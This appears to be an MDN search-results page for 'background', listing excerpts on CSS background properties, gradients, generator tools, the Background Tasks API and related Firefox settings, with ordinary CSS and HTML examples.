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Resizing background images with background-size - CSS: Cascading Style Sheets
the
background-size css property lets you resize the
background image of an element, overriding the default behavior of tiling the image at its full size by specifying the width and/or height of the image.
...to do this, we can use a fixed
background-size value of 150 pixels.
... html <div class="tiled
background"> </div> css .tiled
background {
background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
background-size: 150px; width: 300px; height: 300px; border: 2px solid; color: pink; } result stretching an image you can also specify both the horizontal and vertical sizes of the image, like this:
background-size: 300px 150px; the result looks like this: scaling an image up on the other end of the spectrum, you can scale an image up in the
background.
...And 5 more matches
Backgrounds and borders - Learn web development
previous overview: building blocks next in this lesson, we will take a look at some of the creative things you can do with css
backgrounds and borders.
... from adding gradients,
background images, and rounded corners,
backgrounds and borders are the answer to a lot of styling questions in css.
... prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn how to style the
background and border of boxes.
...And 52 more matches
background-size - CSS: Cascading Style Sheets
the
background-size css property sets the size of the element's
background image.
... spaces not covered by a
background image are filled with the
background-color property, and the
background color will be visible behind
background images that have transparency/translucency.
... syntax /* keyword values */
background-size: cover;
background-size: contain; /* one-value syntax */ /* the width of the image (height becomes 'auto') */
background-size: 50%;
background-size: 3.2em;
background-size: 12px;
background-size: auto; /* two-value syntax */ /* first value: width of the image, second value: height */
background-size: 50% auto;
background-size: 3em 25%;
background-size: auto 6px;
background-size: auto auto; /* multiple
backgrounds */
background-size: auto, auto; /* not to be confused with `auto auto` */
background-size: 50%, 25%, 25%;
background-size: 6px, auto, contain; /* global values */
background-size: inherit;
background-size: initial;
background-size: unset; the
background-size property is specified in one of the following ways: using the keyword values c...
...And 32 more matches
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
given the flexibility of svg images, there's a lot to keep in mind when using them as
background images with the
background-image property, and even more to keep in mind when also scaling them using the
background-size property.
... if
background-size specifies a fixed dimension (that is, percentages and relative units are fixed by their context), that dimension wins.
... if none of the above cases are met, the image is rendered at the same size as the
background area.
...And 29 more matches
background-position - CSS: Cascading Style Sheets
the
background-position css property sets the initial position for each
background image.
... the position is relative to the position layer set by
background-origin.
... syntax /* keyword values */
background-position: top;
background-position: bottom;
background-position: left;
background-position: right;
background-position: center; /* <percentage> values */
background-position: 25% 75%; /* <length> values */
background-position: 0 0;
background-position: 1cm 2cm;
background-position: 10ch 8em; /* multiple images */
background-position: 0 0, center; /* edge offsets values */
background-position: bottom 10px right 20px;
background-position: right 3em bottom 10px;
background-position: bottom 10px right;
background-position: top right 10...
...And 21 more matches
background - CSS: Cascading Style Sheets
the
background shorthand css property sets all
background style properties at once, such as color, image, origin and size, or repeat method.
... constituent properties this property is a shorthand for the following css properties:
background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-repeat
background-size syntax /* using a <
background-color> */
background: green; /* using a <bg-image> and <repeat-style> */
background: url("test.jpg") repeat-y; /* using a <box> and <
background-color> */
background: border-box red; /* a single image, centered and scaled */
background: no-repeat center/80% url("../img/image.png"); the
background prope...
...rty is specified as one or more
background layers, separated by commas.
...And 14 more matches
background-image - CSS: Cascading Style Sheets
the
background-image css property sets one or more
background images on an element.
... the
background images are drawn on stacking context layers on top of each other.
... the borders of the element are then drawn on top of them, and the
background-color is drawn beneath them.
...And 13 more matches
background-position-x - CSS: Cascading Style Sheets
the
background-position-x css property sets the initial horizontal position for each
background image.
... the position is relative to the position layer set by
background-origin.
... the value of this property is overridden by any declaration of the
background or
background-position shorthand properties applied to the element after it.
...And 13 more matches
background-position-y - CSS: Cascading Style Sheets
the
background-position-y css property sets the initial vertical position for each
background image.
... the position is relative to the position layer set by
background-origin.
... the value of this property is overridden by any declaration of the
background or
background-position shorthand properties applied to the element after it.
...And 13 more matches
background-repeat - CSS: Cascading Style Sheets
the
background-repeat css property sets how
background images are repeated.
... a
background image can be repeated along the horizontal and vertical axes, or not repeated at all.
... syntax /* keyword values */
background-repeat: repeat-x;
background-repeat: repeat-y;
background-repeat: repeat;
background-repeat: space;
background-repeat: round;
background-repeat: no-repeat; /* two-value syntax: horizontal | vertical */
background-repeat: repeat space;
background-repeat: repeat repeat;
background-repeat: round space;
background-repeat: no-repeat round; /* global values */
background-repeat: inherit;
background-r...
...And 12 more matches
background-clip - CSS: Cascading Style Sheets
the
background-clip css property sets whether an element's
background extends underneath its border box, padding box, or content box.
... if the element has no
background-image or
background-color, this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference.
... note: because the root element has a different
background painting area, the
background-clip property has no effect when specified on it.
...And 11 more matches
background-attachment - CSS: Cascading Style Sheets
the
background-attachment css property sets whether a
background image's position is fixed within the viewport, or scrolls with its containing block.
... syntax /* keyword values */
background-attachment: scroll;
background-attachment: fixed;
background-attachment: local; /* global values */
background-attachment: inherit;
background-attachment: initial;
background-attachment: unset; the
background-attachment property is specified as one of the keyword values from the list below.
... values fixed the
background is fixed relative to the viewport.
...And 10 more matches
PBackground
p
background is a mechanism available since gecko 30 (see bug 956218) that builds on top of ipdl to provide a solution to common problems that arise when handling multiple threads in the chrome process, for example communication between workers and multiple child processes and other parent-process worker threads.
... this article outlines what p
background is, and how it works.
... p
background p
background exists to solve such problems.
...And 7 more matches
background-color - CSS: Cascading Style Sheets
the
background-color css property sets the
background color of an element.
... syntax /* keyword values */
background-color: red;
background-color: indigo; /* hexadecimal value */
background-color: #bbff00; /* fully opaque */
background-color: #bf0; /* fully opaque shorthand */
background-color: #11ffee00; /* fully transparent */
background-color: #1fe0; /* fully transparent shorthand */
background-color: #11ffeeff; /* fully opaque */
background-color: #1fef; /* fully opaque shorthand */ /* rgb value */
background-color: rgb(255, 255, 128); /* fully opaque */
background-color: rgba(117, 190, 218, 0.5); /* 50% transpare...
...nt */ /* hsl value */
background-color: hsl(50, 33%, 25%); /* fully opaque */
background-color: hsla(50, 33%, 25%, 0.75); /* 75% transparent */ /* special keyword values */
background-color: currentcolor;
background-color: transparent; /* global values */
background-color: inherit;
background-color: initial;
background-color: unset; the
background-color property is specified as a single <color> value.
...And 7 more matches
enable-background - SVG: Scalable Vector Graphics
the enable-
background attribute specifies how the accumulation of the
background image is managed.
... note: as a presentation attribute, enable-
background can be used as a css property.
... default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-
background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs
background image canvas and onto the target device.
...And 7 more matches
Background Tasks API - Web APIs
the cooperative scheduling of
background tasks api (also referred to as the
background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
... falling back to settimeout because the
background tasks api is fairly new, your code may need to be able to work on browsers that don't yet support it.
... now your code will work even on browsers that don't support the
background tasks api, albeit not as efficiently.
...And 5 more matches
Using multiple backgrounds - CSS: Cascading Style Sheets
you can apply multiple
backgrounds to elements.
... these are layered atop one another with the first
background you provide on top and the last
background listed in the back.
... only the last
background can include a
background color.
...And 5 more matches
background-origin - CSS: Cascading Style Sheets
the
background-origin css property sets the
background's origin: from the border start, inside the border, or inside the padding.
... note that
background-origin is ignored when
background-attachment is fixed.
... syntax /* keyword values */
background-origin: border-box;
background-origin: padding-box;
background-origin: content-box; /* global values */
background-origin: inherit;
background-origin: initial;
background-origin: unset; the
background-origin property is specified as one of the keyword values listed below.
...And 5 more matches
background-size - Archive of obsolete content
if so, feel free to change the en/css_reference/property_template and all css property pages ; ) start with -webkit-
background-size and investigate support of contain and cover keywords and "omitted second value" behavior.
...user:jürgen jeka 2009-08-04 <hr> is there anyway to have the -moz-border-image only apply if -moz-
background-size is not supported?
...user:jürgen jeka 2009-08-09 ok, here's a page with both rules - the css is derived from the code on the page here, this is what it looks like in 3.6a2pre on linux, the
background image appears on the whole page, and then again behind the main content.
...And 3 more matches
background-blend-mode - CSS: Cascading Style Sheets
the
background-blend-mode css property sets how an element's
background images should blend with each other and with the element's
background color.
... blending modes should be defined in the same order as the
background-image property.
... if the blending modes' and
background images' list lengths are not equal, it will be repeated and/or truncated until lengths match.
...And 3 more matches
Test your skills: backgrounds and borders - Learn web development
this aim of this skill test is to get you working with css
backgrounds and borders using the skills you have learned in the previous lesson.
...
backgrounds and borders 1 in this task we want you to add a
background, border, and some simple styling to a page header: give the box a 5px black solid border, with rounded corners of 10px.
... add a
background image (use the url balloons.jpg) and size it so that it covers the box.
...And 2 more matches
CSS Backgrounds and Borders - CSS: Cascading Style Sheets
styles in the css
backgrounds and borders module allow filling
backgrounds with color or an image (clipped or resized), or modifying them in other ways.
...(additionally, element boxes can be decorated with a shadow.) reference css properties
background background-attachment
background-clip
background-color
background-image
background-origin
background-position
background-position-x
background-position-y
background-repeat
background-size border border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-collapse border-color border-image border-image-outset border-image-repeat border-image-slice border-image-source border-image-width border-left border-left-color border-left-style border-left-width border-radius border-right border-right-color bord...
...er-right-style border-right-width border-style border-top border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width border-width box-shadow tools using multiple
backgrounds explains how to set one or more
backgrounds on an element.
...And 2 more matches
background_color - Web app manifests
type string mandatory no the
background_color member defines a placeholder
background color for the application page to display before its stylesheet is loaded.
... this value is used by the user agent to draw the
background color of a shortcut when the manifest is available before the stylesheet has loaded.
... therefore
background_color should match the
background-color css property in the site’s stylesheet for a smooth transition between launching the web application and loading the site's content.
...And 2 more matches
Create Your Own Firefox Background Theme - Archive of obsolete content
how to create your own
background theme themes are made up of a "header" graphic image file, which skins the default firefox ui
background.
... creating a theme header image the header image is displayed as the
background of the top of the browser window, nestling in behind the toolbars, address bar, search bar and the tab strip.
... creating a theme footer image in older versions of firefox, or newer versions with certain add-ons installed, the footer image is displayed as the
background of the bottom of the browser window, behind the add-on and find bars.
... select text and tab colors — you can choose the tab ("
background") color and foreground text color that work best with your header image.
<bgsound>: The Background Sound element (obsolete) - HTML: Hypertext Markup Language
the internet explorer only html
background sound element (<bgsound>) sets up a sound file to play in the
background while the page is used; use <audio> instead.
... volume this attribute defines a number between -10,000 and 0 that determines the loudness of a page's
background sound.
... example <bgsound src="sound1.mid"> <bgsound src="sound2.au" loop="infinite"> usage notes historically, the <embed> element could be used with audio player plug-ins to play audio in the
background in most browsers.
browser.search.context.loadInBackground
browser.search.context.loadin
background controls whether a search from the context menu with "search <search engine> for <selected text>" opening a new tab will give focus to it and load it in the foreground or keep focus on the current tab and open it in the
background.
... type:boolean default value:false exists by default: yes application support: firefox 13.0 status: active; last updated 2012-02-17 introduction: pushed to nightly on 2012-02-15 bugs: bug 727131 values true new tab with search results will be opened in the
background, focus stays on the current tab.
ui.textSelectBackground
ui.textselect
background saves the color in which the
background of a text selection in the user interface or in content will be styled.
<color> - CSS: Cascading Style Sheets
a <color> may also include an alpha-channel transparency value, indicating how the color should composite with its
background.
...this makes the
background behind the colored item completely visible.
...it was a special keyword that could be used instead of a regular <color> value on two css properties:
background and border.
...And 35 more matches
Using CSS gradients - CSS: Cascading Style Sheets
gradients can be used anywhere you would use an <image>, such as in
backgrounds.
... <div class="simple-linear"></div> div { width: 120px; height: 120px; } .simple-linear {
background: linear-gradient(blue, pink); } changing the direction by default, linear gradients run from top to bottom.
... <div class="horizontal-gradient"></div> div { width: 120px; height: 120px; } .horizontal-gradient {
background: linear-gradient(to right, blue, pink); } diagonal gradients you can even make the gradient run diagonally, from corner to corner.
...And 28 more matches
Color picker tool - CSS: Cascading Style Sheets
oid-sample" class="icon"></div> </div> </div> <div id="canvas" data-tutorial="drop"> <div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index" data-max="20" data-sensivity="10"></div> </div> </div> css /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd;
background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) *...
.../ .ui-color-picker .picking-area {
background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode...
...='hsl'] .picking-area {
background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0...
...And 25 more matches
Using CSS transitions - CSS: Cascading Style Sheets
transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transform col...
...or; transition-duration: 0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -webkit-transform: rotate(270deg); width: 50px; height: 50px;
background-color: blue; color: yellow; font-size: 18px; left: 150px; top: 25px; position: absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration: 0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transformv color; transition-duration: 0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { ...
... el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position: absolute; -webkit-transition-property: width height
background-color font-size left top -webkit-transform color; -webkit-transition-duration: 1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform color; transition-duration: 1s; transition-t...
...And 24 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
<div class="ui-slider" data-topic="axis-rotation" data-info="rotation" data-min="-180" data-value="0" data-max="180"></div> </div> </div> <div id="tool-section" class="section"> <div class="title"> tool settings </div> <div class="property"> <div class="name"> alpha
background </div> <div id="canvas-bg"></div> <div id="add-axis" class="button"> add line </div> </div> <div id="order"> <div id="gradient-axes"></div> <div id="gradient-order"></div> </div> </div> </div> <div id="output"> <div class="css-pro...
...perty"> <span class="property">
background:</span> <span class="value"></span> </div> </div> </div> css content /* * color picker tool */ .ui-color-picker { width: 420px; margin: 0; border: 1px solid #ddd;
background-color: #fff; display: table; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area {
background: url("images/picker_mask.png");
background: -moz-linear-gradient(bottom, #000 0%,...
... rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -o-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%);
background-color: #f00; } /* hsl format - hue-saturation-lightness */ .ui-color-picker[data-mode='hsl'] .picking-area {
background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%, hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%), -moz-linear-...
...And 24 more matches
Index - Web APIs
225
background tasks api api,
background tasks api, guide, idledeadline, overview, cancelidlecallback, requestidlecallback the cooperative scheduling of
background tasks api (also referred to as the
background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is free time to do so.
... 374 budgetservice.getcost() api, budgetservice, method, reference, web budget api, getcost the getcost() property of the budgetservice interface returns a promise that resolves to a double indicating the worst-case
background operation cost of the provided
background operation.
... 397 css painting api api, css, css paint api, houdini, painting, reference the css painting api — part of the css houdini umbrella of apis — allows developers to write javascript functions that can draw directly into an element's
background, border, or content.
...And 23 more matches
Box-shadow generator - CSS: Cascading Style Sheets
iv> </div> </div> <div id="output" class="category"> <div id="menu" class="menu"></div> <div class="title"> css code </div> <div class="group" style="border-top-left-radius: 0;"> <div class="output" data-topic="element" data-name="element" data-prop="width height
background-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="content=[""] position=[absolute] width height top left z-index
background-color box-shadow transform -webkit-transform -ms-transform"> </div> <div class="output"...
... data-topic="after" data-name="element:after" data-prop="content=[""] position=[absolute] width height top left z-index
background-color box-shadow transform -webkit-transform -ms-transform"> </div> </div> </div> </div> </div> </div> css content /* grid of twelve * ========================================================================== */ .span_12 { width: 100%; } .span_11 { width: 91.46%; } .span_10 { width: 83%; } .span_9 { width: 74.54%; } .span_8 { width: 66.08%; } .span_7 { width: 57.62%; } .span_6 { width: 49.16%; } .span_5 { width: 40.7%; } .span_4 { width: 32.24%; } .span_3 { width: 23.78%; } .span_2 { width: 15.32%; } .span_1 { width: 6.86%; } /* sections * =====...
... ie6 and lower */ /* * ui slider */ .slidergroup { height: 20px; margin: 10px 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-user-select: none; user-select: none; } .slidergroup * { float: left; height: 100%; line-height: 100%; } /* slider */ .ui-slider { height: 10px; width: 200px; margin: 4px 10px; display: block; border: 1px solid #999; border-radius: 3px;
background: #eee; } .ui-slider:hover { cursor: pointer; } .ui-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-slider-pointer { width: 13px; height: 13px;
background-color: #eee; border: 1px solid #2c9fc9; border-radius: 3px; position: relative; top: -3px; left: 0%; } .ui-slider-btn-set { width: 25px;
background-color: #2c9fc9; border-ra...
...And 19 more matches
Using the CSS Painting API - Web APIs
the css paint api is designed to enable developers to programmatically define images which can then be used anywhere a css image can be invoked, such as css
background-image, border-image, mask-image, etc.
... to programmatically create an image used by a css stylesheet we need to work through a few steps: define a paint worklet using the registerpaint() function register the worklet include the paint() css function to elaborate over these steps, we're going to start by creating a half-highlight
background, like on this header: css paint worklet in an external script file, we employ the registerpaint() function to name our css paint worklet.
... we can use the css
background-size and
background-position properties to re-size or relocate this
background image, but this is the default size and placement of the yellow box we created in our paint worklet.
...And 18 more matches
<blend-mode> - CSS: Cascading Style Sheets
it is used in the
background-blend-mode and mix-blend-mode properties.
... <div id="div"></div> #div { width: 300px; height: 300px;
background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png');
background-blend-mode: normal; } multiply the final color is the result of multiplying the top and bottom colors.
... <div id="div"></div> #div { width: 300px; height: 300px;
background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png');
background-blend-mode: multiply; } screen the final color is the result of inverting the colors, multiplying them, and inverting that value.
...And 17 more matches
CSS property compatibility table for form controls - Learn web development
rendering for each property there are two possible renderings: n (normal) indicates that the property is applied as it is t (tweaked) indicates that the property is applied with the extra rule below: * { /* turn off the native look and feel */ -webkit-appearance: none; appearance: none; /* for internet explorer */
background: none; } compatibility tables global behaviors some behaviors are common to many browsers at a global level: border,
background, border-radius, height using one of these properties can partially or fully turn off the native look & feel of widgets on some browsers.
... on windows 7, internet explorer 9 does not apply the border unless
background:none is applied.
... on windows 7, internet explorer 9 does not apply the border unless
background:none is applied.
...And 16 more matches
Floats - Learn web development
the
background of floats the float property was introduced to allow web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> now apply the following css to your html (using a <style> element or a <link> to a separate .css file — your choice): body { width: 90%; max-width: 900px; margin: 0 auto; font: .9em/1.2 arial, helvetica, sans-serif } .box { width: 150px; height: 100px; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } if you save and refresh now, you'll see something much like what you'd expect — the box is sitting above the text, in normal flow.
... to float the text around it add the float and margin-right properties to the .box rule: .box { float: left; margin-right: 15px; width: 150px; height: 100px; border-radius: 5px;
background-color: rgb(207,232,220); padding: 1em; } now if you save and refresh you'll see something like the following: float example 1 <h1>simple float example</h1> <div class="box">float</div> <p>lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 14 more matches
Border-image generator - CSS: Cascading Style Sheets
} /* input slider */ .ui-input-slider > input { margin: 0; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-input-slider-info { width: 90px; padding: 0px 10px 0px 0px; text-align: right; text-transform: lowercase; } .ui-input-slider-left, .ui-input-slider-right { width: 16px; cursor: pointer;
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat; } .ui-input-slider-right {
background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat; } .ui-input-slider-name { width: 90px; padding: 0 10px 0 0; text-align: right; text-transform: lowercase; } .ui-input-slider-btn-set { width: 25px;
background-color: #2c9fc9; border-rad...
...ius: 5px; color: #fff; font-weight: bold; line-height: 14px; text-align: center; } .ui-input-slider-btn-set:hover {
background-color: #379b4a; cursor: pointer; } /*************************************************************************************/ /*************************************************************************************/ /* * ui dropdown */ /* dropdown */ .ui-dropdown { height: 2em; width: 120px; font-family: "segoe ui", arial, helvetica, sans-serif; font-size: 12px;
background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
background-position: right center;
background-repeat: no-repeat;
background-color: #359740; position: relative; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-...
...select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-dropdown:hover { cursor: pointer;
background-color: #208b20; } /* dropdown select button */ .ui-dropdown-select { height: inherit; padding: 0 0.75em; color: #fff; line-height: 2em; } /* dropdown list */ .ui-dropdown-list { width: 100%; height: 150px; max-height: 150px; margin: 0; padding: 0 0.3em; border: 3px solid #3490d2; border-color: #208b20;
background: #666;
background-color: #eef1f5; color: #000; position: absolute; top: 2em; left: 0; z-index: 100; overflow: hidden; transition: all 0.3s; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .ui-dropdown-list:hover { overflow: auto; } .ui-dropdown-list[data-hidden='true'] { height: 0...
...And 14 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
at a fundamental level, the color property defines the foreground color of an html element's content and the
background-color property defines the element's
background color.
... text whenever an element is rendered, these properties are used to determine the color of the text, its
background, and any decorations on the text.
...
background-color the text's
background color.
...And 14 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue;
background-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to reference a file on your file system.
... the html for an internal stylesheet might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue;
background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...the implementation of an inline style in an html document might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> </head> <body> <h1 style="color: blue;
background-color: yellow;border: 1px solid black;">hello world!</h1> <p style="color:red;">this is my first css example</p> </body> </html> avoid using css in this way when possible.
...And 13 more matches
image() - CSS: Cascading Style Sheets
coloroptional a color, specifying a solid
background color to use as a fallback if no image-src is found, supported, or declared.
...the syntax looks like so:
background-image: image('myimage.webp#xywh=0,20,40,60'); the
background image of the element will be the portion of the image myimage.webp that starts at the coordinate 0px, 20px (the top left hand corner) and is 40px wide and 60px tall.
...as a use case, consider a dark image being used as a
background for some white text.
...And 13 more matches
create fancy boxes - Learn web development
on the technical side, creating fancy boxes are all about mastering css border and
background properties and how to apply them to a given box.
... its
background properties:
background,
background-color,
background-image,
background-position,
background-size, etc.
... you could also use a
background, as
backgrounds are clipped by border radius */ border : 0.5em solid black; /* let's make sure we have a square.
...And 12 more matches
element() - CSS: Cascading Style Sheets
a particularly useful scenario for using this would be to render an image in an html <canvas> element, then use that as a
background.
... on gecko browsers, you can use the non-standard document.mozsetimageelement() method to change the element being used as the
background for a given css
background element.
... syntax element(id) where: id the id of an element to use as the
background, specified using the html attribute #id on the element.
...And 11 more matches
Advanced styling effects - Learn web development
first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px;
background-color: red;
background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); } this gives us the following result: you'll see that we've got four items in the box-shadow property value: the first length value is the horizontal offset — the distance to the right the shadow is offset from the original box (or left, if ...
... multiple box shadows you can also specify multiple box shadows in a single box-shadow declaration, by separating them with commas: <article class="multiple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> p { margin: 0; } article { max-width: 500px; padding: 10px;
background-color: red;
background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .multiple { box-shadow: 1px 1px 1px black, 2px 2px 1px black, 3px 3px 1px red, 4px 4px 1px red, 5px 5px 1px black, 6px 6px 1px black; } now we get this result: we've done something fun here by creating a raised box with multipl...
... first, we'll go with some different html for this example: <button>press me!</button> button { width: 150px; font-size: 1.1rem; line-height: 2; border-radius: 10px; border: none;
background-image: linear-gradient(to bottom right, #777, #ddd); box-shadow: 1px 1px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), inset -2px -3px 5px rgba(255,255,255,0.5); } button:focus, button:hover {
background-image: linear-gradient(to bottom right, #888, #eee); } button:active { box-shadow: inset 2px 2px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), ...
...And 10 more matches
filter - CSS: Cascading Style Sheets
filters are commonly used to adjust the rendering of images,
backgrounds, and borders.
...eight:100%; overflow:hidden; } #img2 { width:100%; height:auto; -webkit-filter:blur(5px); -ms-filter:blur(5px); filter:blur(5px); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0; margin: 0 0 1.286em; height: 100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px;
background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="svgblur" x="-5%" y="-5%" width...
...th:100%; height:auto; -moz-filter:brightness(2); -webkit-filter:brightness(2); -ms-filter:brightness(2); filter:brightness(2); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; height:100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px;
background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } contrast() the contrast() function adjusts the contrast of the input image.
...And 10 more matches
Positioning - Learn web development
</p> now add the following rule to the bottom of your css: .positioned { position: static;
background: yellow; } if you now save and refresh, you'll see no difference at all, except for the updated
background color of the 2nd paragraph.
